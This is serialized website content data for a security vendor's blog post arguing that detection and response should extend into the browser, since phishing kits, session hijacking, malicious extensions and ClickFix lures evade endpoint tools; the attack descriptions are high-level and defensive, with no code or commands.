ignore.",{"data":75212,"content":75216,"nodeType":912},{"target":75213},{"sys":75214},{"id":75215,"type":909,"linkType":910},"7aVTgi4Btxl6PpzQl8kipW",[],{"data":75218,"content":75219,"nodeType":972},{},[],{"data":75221,"content":75222,"nodeType":981},{},[75223],{"data":75224,"marks":75225,"value":75227,"nodeType":865},{},[75226],{"type":926},"Attackers are consciously evading EDR",{"data":75229,"content":75230,"nodeType":866},{},[75231],{"data":75232,"marks":75233,"value":75234,"nodeType":865},{},[],"The gap endpoint teams are running into isn’t accidental. It’s the result of attackers adapting to where defenders are strongest (and weakest).",{"data":75236,"content":75237,"nodeType":866},{},[75238],{"data":75239,"marks":75240,"value":75241,"nodeType":865},{},[],"Modern EDR has made compromising the host operating system expensive and noisy. Deep telemetry and constant monitoring mean that even when an attacker manages to execute code on a device, that action is quickly under scrutiny. From there, progress is slow. After all, lateral movement and persistence take time, and all of it carries risk and generates signals defenders are good at catching.",{"data":75243,"content":75244,"nodeType":866},{},[75245,75250],{"data":75246,"marks":75247,"value":75249,"nodeType":865},{},[75248],{"type":926},"So attackers take a different route. ",{"data":75251,"marks":75252,"value":75253,"nodeType":865},{},[],"Instead of targeting the OS, they operate inside the browser session, abusing legitimate access paths to cloud applications directly over the internet. The endpoint just sees a browser session, not the malicious activity that's happening inside it. ",{"data":75255,"content":75256,"nodeType":866},{},[75257],{"data":75258,"marks":75259,"value":75260,"nodeType":865},{},[],"EDR agents are extremely good at protecting the operating system, but their visibility largely stops at the browser boundary. They can see that a browser process is running. They can’t see what a user is actually interacting with inside a specific tab, or what code is executing within the browser.",{"data":75262,"content":75263,"nodeType":866},{},[75264],{"data":75265,"marks":75266,"value":75267,"nodeType":865},{},[],"This is the shift security teams are feeling. Attacks don’t trigger endpoint alerts because they aren’t endpoint attacks. They unfold inside the browser, over standard web sessions, using legitimate accounts. To EDR, the host is unaffected. To the business, the damage is already underway.",{"data":75269,"content":75270,"nodeType":1317},{},[75271],{"data":75272,"marks":75273,"value":75275,"nodeType":865},{},[75274],{"type":926},"How modern attacks circumvent EDR",{"data":75277,"content":75278,"nodeType":866},{},[75279],{"data":75280,"marks":75281,"value":75282,"nodeType":865},{},[],"Examples of modern attacks that are consciously evading EDR by staying off the endpoint include:",{"data":75284,"content":75285,"nodeType":1616},{},[75286,75301,75316],{"data":75287,"content":75288,"nodeType":1570},{},[75289],{"data":75290,"content":75291,"nodeType":866},{},[75292,75297],{"data":75293,"marks":75294,"value":75296,"nodeType":865},{},[75295],{"type":926},"AiTM phishing: ",{"data":75298,"marks":75299,"value":75300,"nodeType":865},{},[],"Sophisticated attacker-in-the-middle phishing kits render convincing login pages directly in the browser and proxy authentication in real time, stealing credentials or MFA tokens as the user enters them. From the OS perspective, nothing appears unusual; EDR can’t see the page structure or scripts running inside the tab.",{"data":75302,"content":75303,"nodeType":1570},{},[75304],{"data":75305,"content":75306,"nodeType":866},{},[75307,75312],{"data":75308,"marks":75309,"value":75311,"nodeType":865},{},[75310],{"type":926},"Session hijacking:",{"data":75313,"marks":75314,"value":75315,"nodeType":865},{},[]," When attackers obtain a valid session token, they gain persistent access to an account without needing a password at all. Once in use, the session typically blends into normal browser activity, generating no endpoint data. ",{"data":75317,"content":75318,"nodeType":1570},{},[75319],{"data":75320,"content":75321,"nodeType":866},{},[75322,75327],{"data":75323,"marks":75324,"value":75326,"nodeType":865},{},[75325],{"type":926},"Malicious browser extensions:",{"data":75328,"marks":75329,"value":75330,"nodeType":865},{},[]," Malicious extensions (either made by attackers or hijacked by them) can read page content, intercept credentials, or siphon session tokens. Because extensions operate inside the browser’s execution model, their behavior is largely invisible to endpoint tooling focused on OS-level activity.",{"data":75332,"content":75333,"nodeType":866},{},[75334,75338,75343],{"data":75335,"marks":75336,"value":75337,"nodeType":865},{},[],"Even attacks that nominally involve the endpoint often stay outside EDR’s strongest visibility. ",{"data":75339,"marks":75340,"value":75342,"nodeType":865},{},[75341],{"type":926},"ClickFix-style social engineering",{"data":75344,"marks":75345,"value":75346,"nodeType":865},{},[]," is a good example. Attackers manipulate users into taking risky actions that look legitimate, the most prominent example being executing malicious commands on the host that are deliberately obfuscated or broken into benign-looking steps. While EDR may catch the code execution (and any malware the execution attempts to install), these techniques are designed to stay ambiguous enough to avoid reliable detection.",{"data":75348,"content":75349,"nodeType":866},{},[75350],{"data":75351,"marks":75352,"value":75353,"nodeType":865},{},[],"All of these attacks succeed for the same reason: the activity unfolds inside the browser. And because EDR was never designed to observe or control what happens inside a live browser session, attackers can operate there with far less resistance.",{"data":75355,"content":75356,"nodeType":1317},{},[75357],{"data":75358,"marks":75359,"value":75361,"nodeType":865},{},[75360],{"type":926},"Extending detection and response to the browser",{"data":75363,"content":75364,"nodeType":866},{},[75365],{"data":75366,"marks":75367,"value":75368,"nodeType":865},{},[],"Defenders need to meet attackers where they actually operate. That means establishing real detection and response capabilities inside the browser itself.",{"data":75370,"content":75371,"nodeType":866},{},[75372,75376,75381,75385,75393],{"data":75373,"marks":75374,"value":75375,"nodeType":865},{},[],"When endpoint security evolved, it did so by putting an agent on the host to observe behavior, collect telemetry, and act at the source — ",{"data":75377,"marks":75378,"value":75380,"nodeType":865},{},[75379],{"type":926},"getting inside the data stream",{"data":75382,"marks":75383,"value":75384,"nodeType":865},{},[],". The same logic applies here. If the browser is where credentials are entered, sessions are established, and attacks unfold, then it needs to be treated as a security surface in its own right. ",{"data":75386,"content":75388,"nodeType":889},{"uri":75387},"https://pushsecurity.com/blog/push-plus-network-security",[75389],{"data":75390,"marks":75391,"value":75392,"nodeType":865},{},[],"That doesn't mean just looking at web traffic, but examining client-side browser processes and activity that are the best, earliest indicators of bad activity. ",{"data":75394,"marks":75395,"value":21,"nodeType":865},{},[],{"data":75397,"content":75398,"nodeType":866},{},[75399],{"data":75400,"marks":75401,"value":75402,"nodeType":865},{},[],"This doesn’t replace EDR. EDR secures the host. Identity tools govern authentication. But the browser, the layer that connects users to everything else, is a blind spot. Extending detection and response into that layer fills the gap while complementing the controls that already work.",{"data":75404,"content":75405,"nodeType":1317},{},[75406],{"data":75407,"marks":75408,"value":75410,"nodeType":865},{},[75409],{"type":926},"Your browser detection and response checklist",{"data":75412,"content":75413,"nodeType":1616},{},[75414,75429,75444],{"data":75415,"content":75416,"nodeType":1570},{},[75417],{"data":75418,"content":75419,"nodeType":866},{},[75420,75425],{"data":75421,"marks":75422,"value":75424,"nodeType":865},{},[75423],{"type":926},"Browser-native protection: ",{"data":75426,"marks":75427,"value":75428,"nodeType":865},{},[],"Running inside the browser is the only way you can see what page a user is interacting with, what scripts are running, and how the session is behaving in real time. It’s also the only place you can reliably distinguish between normal user activity and attacker-driven manipulation.",{"data":75430,"content":75431,"nodeType":1570},{},[75432],{"data":75433,"content":75434,"nodeType":866},{},[75435,75440],{"data":75436,"marks":75437,"value":75439,"nodeType":865},{},[75438],{"type":926},"Behavioral detection:",{"data":75441,"marks":75442,"value":75443,"nodeType":865},{},[]," Detection can’t rely on static indicators. It has to be based on behaviors — like how pages render, how credentials are submitted, and how sessions are established and abused. ",{"data":75445,"content":75446,"nodeType":1570},{},[75447],{"data":75448,"content":75449,"nodeType":866},{},[75450,75455],{"data":75451,"marks":75452,"value":75454,"nodeType":865},{},[75453],{"type":926},"Real-time interception:",{"data":75456,"marks":75457,"value":75458,"nodeType":865},{},[]," Response has to be immediate. Blocking credential submission, interrupting a malicious action, capturing high-fidelity context, all of that needs to happen at the point of interaction — before an account is compromised.",{"data":75460,"content":75461,"nodeType":866},{},[75462],{"data":75463,"marks":75464,"value":75465,"nodeType":865},{},[],"This is what it means to extend detection and response to the browser: not another tool bolted onto the stack, but a necessary evolution in how modern attacks are actually stopped.",{"data":75467,"content":75468,"nodeType":7584},{},[75469],{"data":75470,"content":75471,"nodeType":866},{},[75472,75475,75481,75484,75490,75493,75499],{"data":75473,"marks":75474,"value":61568,"nodeType":865},{},[],{"data":75476,"content":75477,"nodeType":889},{"uri":11375},[75478],{"data":75479,"marks":75480,"value":61576,"nodeType":865},{},[],{"data":75482,"marks":75483,"value":2717,"nodeType":865},{},[],{"data":75485,"content":75486,"nodeType":889},{"uri":11387},[75487],{"data":75488,"marks":75489,"value":61587,"nodeType":865},{},[],{"data":75491,"marks":75492,"value":11397,"nodeType":865},{},[],{"data":75494,"content":75495,"nodeType":889},{"uri":1372},[75496],{"data":75497,"marks":75498,"value":11405,"nodeType":865},{},[],{"data":75500,"marks":75501,"value":1615,"nodeType":865},{},[],{"data":75503,"content":75506,"nodeType":912},{"target":75504},{"sys":75505},{"id":75108,"type":909,"linkType":910},[],{"data":75508,"content":75509,"nodeType":866},{},[75510],{"data":75511,"marks":75512,"value":21,"nodeType":865},{},[],"Push + Endpoint Security: Extending detection and response to the browser","Why extending detection and response into the browser is crucial in the face of modern attacks that consciously evade the network and endpoint. ","push-plus-endpoint-security",{"items":75517},[75518,75520],{"sys":75519,"name":7796},{"id":7795},{"sys":75521,"name":342},{"id":4642},{"items":75523},[75524],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":75525},{"url":4683},"push-plus-cloud-security","blog/push-plus-cloud-security",{"json":75529},{"data":75530,"content":75531,"nodeType":1382},{},[75532],{"data":75533,"content":75534,"nodeType":866},{},[75535],{"data":75536,"marks":75537,"value":75538,"nodeType":865},{},[],"One of the key questions we often hear is, \"We've already got CSPM/CNAPP, so why do we need to be in the browser too?\" Well, here's the answer!","Why cloud security tools only give you part of the picture when it comes to modern attacks. ",{"id":57851,"publishedAt":75541},"2026-08-13T09:35:44.993Z",{"items":75543},[75544,75546],{"sys":75545,"name":7796},{"id":7795},{"sys":75547,"name":342},{"id":4642},{"items":75549},[75550,75552,75554,75556,75558,75560],{"sys":75551,"name":297,"slug":298,"tier":31},{"id":294},{"sys":75553,"name":413,"slug":414,"tier":31},{"id":410},{"sys":75555,"name":342,"slug":343,"tier":31},{"id":339},{"sys":75557,"name":571,"slug":572,"tier":45},{"id":568},{"sys":75559,"name":589,"slug":590,"tier":45},{"id":586},{"sys":75561,"name":404,"slug":405,"tier":45},{"id":401},"01Zf4lWtM6HuFF1ia3UbDEOhWq4aBYgHs_2LE9oY3qA",{"id":75564,"title":75513,"authorsCollection":75565,"content":75569,"extension":228,"faqItemsCollection":75919,"faqTitle":59,"featured":6,"hashTags":59,"meta":75921,"metaTitle":75922,"ogImage":59,"postType":1424,"publishedDate":75118,"relatedBlogPostsCollection":75923,"slug":75515,"stem":76712,"subtitle":59,"summary":76713,"synopsis":75514,"sys":76724,"tagsCollection":76726,"topicsCollection":76732,"__hash__":76750},"blog/blog/push-plus-endpoint-security.json",{"items":75566},[75567],{"fullName":4680,"firstName":4681,"jobTitle":4616,"socialLinks":59,"profilePicture":75568},{"url":4683},{"json":75570,"links":75903},{"data":75571,"content":75572,"nodeType":1382},{},[75573,75580,75586,75592,75602,75612,75619,75625,75631,75637,75642,75645,75652,75658,75664,75674,75680,75686,75693,75699,75741,75754,75760,75767,75773,75795,75801,75808,75850,75856,75892,75897],{"data":75574,"content":75575,"nodeType":981},{},[75576],{"data":75577,"marks":75578,"value":75143,"nodeType":865},{},[75579],{"type":926},{"data":75581,"content":75582,"nodeType":866},{},[75583],{"data":75584,"marks":75585,"value":75150,"nodeType":865},{},[],{"data":75587,"content":75588,"nodeType":866},{},[75589],{"data":75590,"marks":75591,"value":75157,"nodeType":865},{},[],{"data":75593,"content":75594,"nodeType":866},{},[75595,75598],{"data":75596,"marks":75597,"value":75164,"nodeType":865},{},[],{"data":75599,"marks":75600,"value":75169,"nodeType":865},{},[75601],{"type":926},{"data":75603,"content":75604,"nodeType":866},{},[75605,75608],{"data":75606,"marks":75607,"value":75176,"nodeType":865},{},[],{"data":75609,"marks":75610,"value":75181,"nodeType":865},{},[75611],{"type":898},{"data":75613,"content":75614,"nodeType":1317},{},[75615],{"data":75616,"marks":75617,"value":75189,"nodeType":865},{},[75618],{"type":926},{"data":75620,"content":75621,"nodeType":866},{},[75622],{"data":75623,"marks":75624,"value":75196,"nodeType":865},{},[],{"data":75626,"content":75627,"nodeType":866},{},[75628],{"data":75629,"marks":75630,"value":75203,"nodeType":865},{},[],{"data":75632,"content":75633,"nodeType":866},{},[75634],{"data":75635,"marks":75636,"value":75210,"nodeType":865},{},[],{"data":75638,"content":75641,"nodeType":912},{"target":75639},{"sys":75640},{"id":75215,"type":909,"linkType":910},[],{"data":75643,"content":75644,"nodeType":972},{},[],{"data":75646,"content":75647,"nodeType":981},{},[75648],{"data":75649,"marks":75650,"value":75227,"nodeType":865},{},[75651],{"type":926},{"data":75653,"content":75654,"nodeType":866},{},[75655],{"data":75656,"marks":75657,"value":75234,"nodeType":865},{},[],{"data":75659,"content":75660,"nodeType":866},{},[75661],{"data":75662,"marks":75663,"value":75241,"nodeType":865},{},[],{"data":75665,"content":75666,"nodeType":866},{},[75667,75671],{"data":75668,"marks":75669,"value":75249,"nodeType":865},{},[75670],{"type":926},{"data":75672,"marks":75673,"value":75253,"nodeType":865},{},[],{"data":75675,"content":75676,"nodeType":866},{},[75677],{"data":75678,"marks":75679,"value":75260,"nodeType":865},{},[],{"data":75681,"content":75682,"nodeType":866},{},[75683],{"data":75684,"marks":75685,"value":75267,"nodeType":865},{},[],{"data":75687,"content":75688,"nodeType":1317},{},[75689],{"data":75690,"marks":75691,"value":75275,"nodeType":865},{},[75692],{"type":926},{"data":75694,"content":75695,"nodeType":866},{},[75696],{"data":75697,"marks":75698,"value":75282,"nodeType":865},{},[],{"data":75700,"content":75701,"nodeType":1616},{},[75702,75715,75728],{"data":75703,"content":75704,"nodeType":1570},{},[75705],{"data":75706,"content":75707,"nodeType":866},{},[75708,75712],{"data":75709,"marks":75710,"value":75296,"nodeType":865},{},[75711],{"type":926},{"data":75713,"marks":75714,"value":75300,"nodeType":865},{},[],{"data":75716,"content":75717,"nodeType":1570},{},[75718],{"data":75719,"content":75720,"nodeType":866},{},[75721,75725],{"data":75722,"marks":75723,"value":75311,"nodeType":865},{},[75724],{"type":926},{"data":75726,"marks":75727,"value":75315,"nodeType":865},{},[],{"data":75729,"content":75730,"nodeType":1570},{},[75731],{"data":75732,"content":75733,"nodeType":866},{},[75734,75738],{"data":75735,"marks":75736,"value":75326,"nodeType":865},{},[75737],{"type":926},{"data":75739,"marks":75740,"value":75330,"nodeType":865},{},[],{"data":75742,"content":75743,"nodeType":866},{},[75744,75747,75751],{"data":75745,"marks":75746,"value":75337,"nodeType":865},{},[],{"data":75748,"marks":75749,"value":75342,"nodeType":865},{},[75750],{"type":926},{"data":75752,"marks":75753,"value":75346,"nodeType":865},{},[],{"data":75755,"content":75756,"nodeType":866},{},[75757],{"data":75758,"marks":75759,"value":75353,"nodeType":865},{},[],{"data":75761,"content":75762,"nodeType":1317},{},[75763],{"data":75764,"marks":75765,"value":75361,"nodeType":865},{},[75766],{"type":926},{"data":75768,"content":75769,"nodeType":866},{},[75770],{"data":75771,"marks":75772,"value":75368,"nodeType":865},{},[],{"data":75774,"content":75775,"nodeType":866},{},[75776,75779,75783,75786,75792],{"data":75777,"marks":75778,"value":75375,"nodeType":865},{},[],{"data":75780,"marks":75781,"value":75380,"nodeType":865},{},[75782],{"type":926},{"data":75784,"marks":75785,"value":75384,"nodeType":865},{},[],{"data":75787,"content":75788,"nodeType":889},{"uri":75387},[75789],{"data":75790,"marks":75791,"value":75392,"nodeType":865},{},[],{"data":75793,"marks":75794,"value":21,"nodeType":865},{},[],{"data":75796,"content":75797,"nodeType":866},{},[75798],{"data":75799,"marks":75800,"value":75402,"nodeType":865},{},[],{"data":75802,"content":75803,"nodeType":1317},{},[75804],{"data":75805,"marks":75806,"value":75410,"nodeType":865},{},[75807],{"type":926},{"data":75809,"content":75810,"nodeType":1616},{},[75811,75824,75837],{"data":75812,"content":75813,"nodeType":1570},{},[75814],{"data":75815,"content":75816,"nodeType":866},{},[75817,75821],{"data":75818,"marks":75819,"value":75424,"nodeType":865},{},[75820],{"type":926},{"data":75822,"marks":75823,"value":75428,"nodeType":865},{},[],{"data":75825,"content":75826,"nodeType":1570},{},[75827],{"data":75828,"content":75829,"nodeType":866},{},[75830,75834],{"data":75831,"marks":75832,"value":75439,"nodeType":865},{},[75833],{"type":926},{"data":75835,"marks":75836,"value":75443,"nodeType":865},{},[],{"data":75838,"content":75839,"nodeType":1570},{},[75840],{"data":75841,"content":75842,"nodeType":866},{},[75843,75847],{"data":75844,"marks":75845,"value":75454,"nodeType":865},{},[75846],{"type":926},{"data":75848,"marks":75849,"value":75458,"nodeType":865},{},[],{"data":75851,"content":75852,"nodeType":866},{},[75853],{"data":75854,"marks":75855,"value":75465,"nodeType":865},{},[],{"data":75857,"content":75858,"nodeType":7584},{},[75859],{"data":75860,"content":75861,"nodeType":866},{},[75862,75865,75871,75874,75880,75883,75889],{"data":75863,"marks":75864,"value":61568,"nodeType":865},{},[],{"data":75866,"content":75867,"nodeType":889},{"uri":11375},[75868],{"data":75869,"marks":75870,"value":61576,"nodeType":865},{},[],{"data":75872,"marks":75873,"value":2717,"nodeType":865},{},[],{"data":75875,"content":75876,"nodeType":889},{"uri":11387},[75877],{"data":75878,"marks":75879,"value":61587,"nodeType":865},{},[],{"data":75881,"marks":75882,"value":11397,"nodeType":865},{},[],{"data":75884,"content":75885,"nodeType":889},{"uri":1372},[75886],{"data":75887,"marks":75888,"value":11405,"nodeType":865},{},[],{"data":75890,"marks":75891,"value":1615,"nodeType":865},{},[],{"data":75893,"content":75896,"nodeType":912},{"target":75894},{"sys":75895},{"id":75108,"type":909,"linkType":910},[],{"data":75898,"content":75899,"nodeType":866},{},[75900],{"data":75901,"marks":75902,"value":21,"nodeType":865},{},[],{"entries":75904},{"hyperlink":75905,"inline":75906,"block":75907},[],[],[75908,75916],{"sys":75909,"__typename":1390,"title":75910,"caption":75911,"layoutMode":59,"file":75912},{"id":75215},"Security Eras","Modern attacks play out in the browser, exploiting a security blindspot",{"url":75913,"width":75914,"height":75915},"https://images.ctfassets.net/y1cdw1ablpvd/4zqrAlec1qJaCnE4OUFT7A/7dcd3f568ec90308ba1025ab5be686bb/Screenshot_2026-01-30_at_12.22.19.png",3418,1788,{"sys":75917,"__typename":1414,"type":1415,"ctaText":75918,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":16069},{"id":75108},"Stop browser-based attacks in real time. Book a demo today. ",{"items":75920},[],{},"Push + Endpoint Security: Extending D&R to the browser",{"items":75924},[75925,76372],{"__typename":1429,"sys":75926,"content":75927,"title":75116,"synopsis":75117,"hashTags":59,"publishedDate":75118,"slug":75119,"tagsCollection":76362,"authorsCollection":76368},{"id":57816},{"json":75928},{"data":75929,"content":75930,"nodeType":1382},{},[75931,75938,75944,75950,75960,75967,75973,75979,75985,75992,75995,76002,76008,76014,76020,76035,76040,76046,76061,76068,76176,76179,76186,76192,76202,76208,76213,76219,76225,76232,76238,76245,76251,76257,76263,76305,76315,76351,76356],{"data":75932,"content":75933,"nodeType":981},{},[75934],{"data":75935,"marks":75936,"value":74639,"nodeType":865},{},[75937],{"type":926},{"data":75939,"content":75940,"nodeType":866},{},[75941],{"data":75942,"marks":75943,"value":74646,"nodeType":865},{},[],{"data":75945,"content":75946,"nodeType":866},{},[75947],{"data":75948,"marks":75949,"value":74653,"nodeType":865},{},[],{"data":75951,"content":75952,"nodeType":866},{},[75953,75956],{"data":75954,"marks":75955,"value":74660,"nodeType":865},{},[],{"data":75957,"marks":75958,"value":74665,"nodeType":865},{},[75959],{"type":926},{"data":75961,"content":75962,"nodeType":1317},{},[75963],{"data":75964,"marks":75965,"value":74673,"nodeType":865},{},[75966],{"type":926},{"data":75968,"content":75969,"nodeType":866},{},[75970],{"data":75971,"marks":75972,"value":74680,"nodeType":865},{},[],{"data":75974,"content":75975,"nodeType":866},{},[75976],{"data":75977,"marks":75978,"value":74687,"nodeType":865},{},[],{"data":75980,"content":75981,"nodeType":866},{},[75982],{"data":75983,"marks":75984,"value":74694,"nodeType":865},{},[],{"data":75986,"content":75987,"nodeType":866},{},[75988],{"data":75989,"marks":75990,"value":74702,"nodeType":865},{},[75991],{"type":926},{"data":75993,"content":75994,"nodeType":972},{},[],{"data":75996,"content":75997,"nodeType":981},{},[75998],{"data":75999,"marks":76000,"value":74713,"nodeType":865},{},[76001],{"type":926},{"data":76003,"content":76004,"nodeType":866},{},[76005],{"data":76006,"marks":76007,"value":74720,"nodeType":865},{},[],{"data":76009,"content":76010,"nodeType":866},{},[76011],{"data":76012,"marks":76013,"value":74727,"nodeType":865},{},[],{"data":76015,"content":76016,"nodeType":866},{},[76017],{"data":76018,"marks":76019,"value":74734,"nodeType":865},{},[],{"data":76021,"content":76022,"nodeType":866},{},[76023,76026,76032],{"data":76024,"marks":76025,"value":74741,"nodeType":865},{},[],{"data":76027,"content":76028,"nodeType":889},{"uri":5053},[76029],{"data":76030,"marks":76031,"value":8868,"nodeType":865},{},[],{"data":76033,"marks":76034,"value":74751,"nodeType":865},{},[],{"data":76036,"content":76039,"nodeType":912},{"target":76037},{"sys":76038},{"id":74756,"type":909,"linkType":910},[],{"data":76041,"content":76042,"nodeType":866},{},[76043],{"data":76044,"marks":76045,"value":74764,"nodeType":865},{},[],{"data":76047,"content":76048,"nodeType":866},{},[76049,76052,76058],{"data":76050,"marks":76051,"value":74355,"nodeType":865},{},[],{"data":76053,"content":76054,"nodeType":889},{"uri":4991},[76055],{"data":76056,"marks":76057,"value":74777,"nodeType":865},{},[],{"data":76059,"marks":76060,"value":74781,"nodeType":865},{},[],{"data":76062,"content":76063,"nodeType":866},{},[76064],{"data":76065,"marks":76066,"value":74789,"nodeType":865},{},[76067],{"type":898},{"data":76069,"content":76070,"nodeType":2927},{},[76071,76092,76113,76134,76155],{"data":76072,"content":76073,"nodeType":2400},{},[76074,76083],{"data":76075,"content":76076,"nodeType":38076},{},[76077],{"data":76078,"content":76079,"nodeType":866},{},[76080],{"data":76081,"marks":76082,"value":74805,"nodeType":865},{},[],{"data":76084,"content":76085,"nodeType":38076},{},[76086],{"data":76087,"content":76088,"nodeType":866},{},[76089],{"data":76090,"marks":76091,"value":74815,"nodeType":865},{},[],{"data":76093,"content":76094,"nodeType":2400},{},[76095,76104],{"data":76096,"content":76097,"nodeType":2366},{},[76098],{"data":76099,"content":76100,"nodeType":866},{},[76101],{"data":76102,"marks":76103,"value":74828,"nodeType":865},{},[],{"data":76105,"content":76106,"nodeType":2366},{},[76107],{"data":76108,"content":76109,"nodeType":866},{},[76110],{"data":76111,"marks":76112,"value":74838,"nodeType":865},{},[],{"data":76114,"content":76115,"nodeType":2400},{},[76116,76125],{"data":76117,"content":76118,"nodeType":2366},{},[76119],{"data":76120,"content":76121,"nodeType":866},{},[76122],{"data":76123,"marks":76124,"value":74851,"nodeType":865},{},[],{"data":76126,"content":76127,"nodeType":2366},{},[76128],{"data":76129,"content":76130,"nodeType":866},{},[76131],{"data":76132,"marks":76133,"value":74861,"nodeType":865},{},[],{"data":76135,"content":76136,"nodeType":2400},{},[76137,76146],{"data":76138,"content":76139,"nodeType":2366},{},[76140],{"data":76141,"content":76142,"nodeType":866},{},[76143],{"data":76144,"marks":76145,"value":74874,"nodeType":865},{},[],{"data":76147,"content":76148,"nodeType":2366},{},[76149],{"data":76150,"content":76151,"nodeType":866},{},[76152],{"data":76153,"marks":76154,"value":74884,"nodeType":865},{},[],{"data":76156,"content":76157,"nodeType":2400},{},[76158,76167],{"data":76159,"content":76160,"nodeType":2366},{},[76161],{"data":76162,"content":76163,"nodeType":866},{},[76164],{"data":76165,"marks":76166,"value":74897,"nodeType":865},{},[],{"data":76168,"content":76169,"nodeType":2366},{},[76170],{"data":76171,"content":76172,"nodeType":866},{},[76173],{"data":76174,"marks":76175,"value":74907,"nodeType":865},{},[],{"data":76177,"content":76178,"nodeType":972},{},[],{"data":76180,"content":76181,"nodeType":981},{},[76182],{"data":76183,"marks":76184,"value":74918,"nodeType":865},{},[76185],{"type":926},{"data":76187,"content":76188,"nodeType":866},{},[76189],{"data":76190,"marks":76191,"value":74925,"nodeType":865},{},[],{"data":76193,"content":76194,"nodeType":866},{},[76195,76198],{"data":76196,"marks":76197,"value":74932,"nodeType":865},{},[],{"data":76199,"marks":76200,"value":74937,"nodeType":865},{},[76201],{"type":926},{"data":76203,"content":76204,"nodeType":866},{},[76205],{"data":76206,"marks":76207,"value":74944,"nodeType":865},{},[],{"data":76209,"content":76212,"nodeType":912},{"target":76210},{"sys":76211},{"id":74487,"type":909,"linkType":910},[],{"data":76214,"content":76215,"nodeType":866},{},[76216],{"data":76217,"marks":76218,"value":74956,"nodeType":865},{},[],{"data":76220,"content":76221,"nodeType":866},{},[76222],{"data":76223,"marks":76224,"value":74963,"nodeType":865},{},[],{"data":76226,"content":76227,"nodeType":1317},{},[76228],{"data":76229,"marks":76230,"value":74971,"nodeType":865},{},[76231],{"type":926},{"data":76233,"content":76234,"nodeType":866},{},[76235],{"data":76236,"marks":76237,"value":74978,"nodeType":865},{},[],{"data":76239,"content":76240,"nodeType":866},{},[76241],{"data":76242,"marks":76243,"value":74986,"nodeType":865},{},[76244],{"type":926},{"data":76246,"content":76247,"nodeType":866},{},[76248],{"data":76249,"marks":76250,"value":74993,"nodeType":865},{},[],{"data":76252,"content":76253,"nodeType":866},{},[76254],{"data":76255,"marks":76256,"value":75000,"nodeType":865},{},[],{"data":76258,"content":76259,"nodeType":866},{},[76260],{"data":76261,"marks":76262,"value":75007,"nodeType":865},{},[],{"data":76264,"content":76265,"nodeType":1616},{},[76266,76279,76292],{"data":76267,"content":76268,"nodeType":1570},{},[76269],{"data":76270,"content":76271,"nodeType":866},{},[76272,76276],{"data":76273,"marks":76274,"value":75021,"nodeType":865},{},[76275],{"type":926},{"data":76277,"marks":76278,"value":75025,"nodeType":865},{},[],{"data":76280,"content":76281,"nodeType":1570},{},[76282],{"data":76283,"content":76284,"nodeType":866},{},[76285,76289],{"data":76286,"marks":76287,"value":75036,"nodeType":865},{},[76288],{"type":926},{"data":76290,"marks":76291,"value":75040,"nodeType":865},{},[],{"data":76293,"content":76294,"nodeType":1570},{},[76295],{"data":76296,"content":76297,"nodeType":866},{},[76298,76302],{"data":76299,"marks":76300,"value":75051,"nodeType":865},{},[76301],{"type":926},{"data":76303,"marks":76304,"value":75055,"nodeType":865},{},[],{"data":76306,"content":76307,"nodeType":866},{},[76308,76311],{"data":76309,"marks":76310,"value":75062,"nodeType":865},{},[],{"data":76312,"marks":76313,"value":75067,"nodeType":865},{},[76314],{"type":926},{"data":76316,"content":76317,"nodeType":7584},{},[76318],{"data":76319,"content":76320,"nodeType":866},{},[76321,76324,76330,76333,76339,76342,76348],{"data":76322,"marks":76323,"value":61568,"nodeType":865},{},[],{"data":76325,"content":76326,"nodeType":889},{"uri":11375},[76327],{"data":76328,"marks":76329,"value":61576,"nodeType":865},{},[],{"data":76331,"marks":76332,"value":2717,"nodeType":865},{},[],{"data":76334,"content":76335,"nodeType":889},{"uri":11387},[76336],{"data":76337,"marks":76338,"value":61587,"nodeType":865},{},[],{"data":76340,"marks":76341,"value":11397,"nodeType":865},{},[],{"data":76343,"content":76344,"nodeType":889},{"uri":1372},[76345],{"data":76346,"marks":76347,"value":11405,"nodeType":865},{},[],{"data":76349,"marks":76350,"value":1615,"nodeType":865},{},[],{"data":76352,"content":76355,"nodeType":912},{"target":76353},{"sys":76354},{"id":75108,"type":909,"linkType":910},[],{"data":76357,"content":76358,"nodeType":866},{},[76359],{"data":76360,"marks":76361,"value":21,"nodeType":865},{},[],{"items":76363},[76364,76366],{"sys":76365,"name":7796},{"id":7795},{"sys":76367,"name":342},{"id":4642},{"items":76369},[76370],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":76371},{"url":4683},{"__typename":1429,"sys":76373,"content":76374,"title":74229,"synopsis":75539,"hashTags":59,"publishedDate":74623,"slug":75526,"tagsCollection":76702,"authorsCollection":76708},{"id":57851},{"json":76375},{"data":76376,"content":76377,"nodeType":1382},{},[76378,76385,76391,76397,76403,76409,76415,76422,76428,76434,76440,76443,76450,76456,76462,76468,76474,76490,76497,76503,76509,76515,76518,76525,76538,76551,76557,76564,76570,76576,76582,76588,76593,76599,76654,76657,76696],{"data":76379,"content":76380,"nodeType":981},{},[76381],{"data":76382,"marks":76383,"value":74245,"nodeType":865},{},[76384],{"type":926},{"data":76386,"content":76387,"nodeType":866},{},[76388],{"data":76389,"marks":76390,"value":74252,"nodeType":865},{},[],{"data":76392,"content":76393,"nodeType":866},{},[76394],{"data":76395,"marks":76396,"value":74259,"nodeType":865},{},[],{"data":76398,"content":76399,"nodeType":866},{},[76400],{"data":76401,"marks":76402,"value":74266,"nodeType":865},{},[],{"data":76404,"content":76405,"nodeType":866},{},[76406],{"data":76407,"marks":76408,"value":74273,"nodeType":865},{},[],{"data":76410,"content":76411,"nodeType":866},{},[76412],{"data":76413,"marks":76414,"value":74280,"nodeType":865},{},[],{"data":76416,"content":76417,"nodeType":1317},{},[76418],{"data":76419,"marks":76420,"value":74288,"nodeType":865},{},[76421],{"type":926},{"data":76423,"content":76424,"nodeType":866},{},[76425],{"data":76426,"marks":76427,"value":74295,"nodeType":865},{},[],{"data":76429,"content":76430,"nodeType":866},{},[76431],{"data":76432,"marks":76433,"value":74302,"nodeType":865},{},[],{"data":76435,"content":76436,"nodeType":866},{},[76437],{"data":76438,"marks":76439,"value":74309,"nodeType":865},{},[],{"data":76441,"content":76442,"nodeType":972},{},[],{"data":76444,"content":76445,"nodeType":981},{},[76446],{"data":76447,"marks":76448,"value":74320,"nodeType":865},{},[76449],{"type":926},{"data":76451,"content":76452,"nodeType":866},{},[76453],{"data":76454,"marks":76455,"value":74327,"nodeType":865},{},[],{"data":76457,"content":76458,"nodeType":866},{},[